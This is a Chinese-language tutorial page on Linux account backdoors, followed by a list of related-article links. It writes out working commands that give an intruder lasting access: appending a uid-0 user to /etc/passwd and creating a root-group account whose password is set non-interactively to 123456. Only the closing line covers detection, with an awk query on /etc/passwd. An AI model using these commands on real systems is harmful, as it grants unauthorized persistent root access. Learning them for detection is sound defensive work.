Linux系统账户后门及排查
系统账户后门是一种最为简单有效的权限维持方式。攻击者在获取目标系统权限的前提下,通过创建一个系统账户作为持久化的据点,这样可以随时通过工具连接到目标系统,达到对目标主机进行长久控制的目的。根据获取的shell模式不同,创建系统账户的方式也不同,通常shell模式可以分为交互模式和非交互模式两种情况:
(1)当shell为交互模式时创建系统账户
当获取到目标系统的shell权限具有交互模式时,攻击者和目标系统可以进行数据交互,就可以根据系统反馈的提示信息创建系统账户和设置登录口令。如下我们可以使用usersdd和passwd指令创建test账户并对该账户设置登录口令。
useradd test #添加test账户
passwd test #给test账户设置登录口令
也可以将test账户写入到/etc/passwd文件,然后通过passwd指令设置test系统账户的口令。
echo "test:x:0:0::/:/bin/sh" >>/etc/passwd #添加test账户
passwdtest #给test账户设置登录口令
(2)当shell为非交互模式时创建系统账户
当获取到目标系统的shell权限为非交互模式时,比如:webshell等,不能获取到系统的提示信息,也不能使用vim、vi等编辑工具时,就不能直接通过passwd指令设置登录口令了。此时,我们可以使用useradd创建test用户,使用` ` 符号是存放可执行的系统命令,设置该用户的登录口令。
useradd -p `openssl passwd -1 -salt 'salt' 123456` test
通过useradd指令创建一个test系统账户,然后通过“echo -e“指令设置test系统账户的口令。
useradd test;echo -e "123456\n123456\n" |passwd test
通过useradd指令创建一个test系统账户,"$()"也可以存放命令执行语句,设置该用户的登录口令。
useradd -p "$(openssl passwd -1 123456)" test
如下是在root组创建一个test用户,设置该test用户的登录口令为123456,-u 0表示设置该用户的uid为0,-g root -G root 将用户添加到root组,-s /bin/bash 指定新建用户的shell路径。
useradd -p `openssl passwd -1 -salt 'salt' 123456` test -o -u 0 -g root -G root -s /bin/bash -d /home/test
查询当前Linux系统隐藏的系统账户后门,可以通过查询/etc/passwd文件中的新增的潜藏用户,也可以通过awk指令查询uid=0和uid>=500的用户名,如图3-1-2 awk指令查询用户名。
awk -F : '($3>=500 || $3==0){print $1}' /etc/passwd
相关文章
- Github下载release附件变相提速方法
- 流程图软件 drawio 免费 github开源
- Git多人协作
- 一文教会你mock(Mockito和PowerMock双剑合璧)
- Go语言性能剖析利器--pprof实战
- Linux内存泄露案例分析和内存管理分享
- 通过linux-PAM实现禁止root用户登陆的方法
- Linux策略路由详解
- 理解virt、res、shr之间的关系(linux系统篇)
- oracle学习笔记(十六) PL/SQL 异常和goto语句
- Linux云主机安全入侵排查步骤
- PHP官方框架 Zend Framework 2.1 发布
- PHP 5.4 内置Web服务器使用说明
- 一个小巧的PHP防注入类
- PHPCMS后台入口地址隐藏方法
- 在Linux中将目录压缩打包为zip文件 并通过ftp上传的Shell脚本
- 用PHP解析XML为数组的方法
- 一段经典的抽奖算法 for PHP版
- 在Linux中用Shell脚本完成SVN版本库的建立
- PHPCMS V9无法正常通过QQ登录的解决方案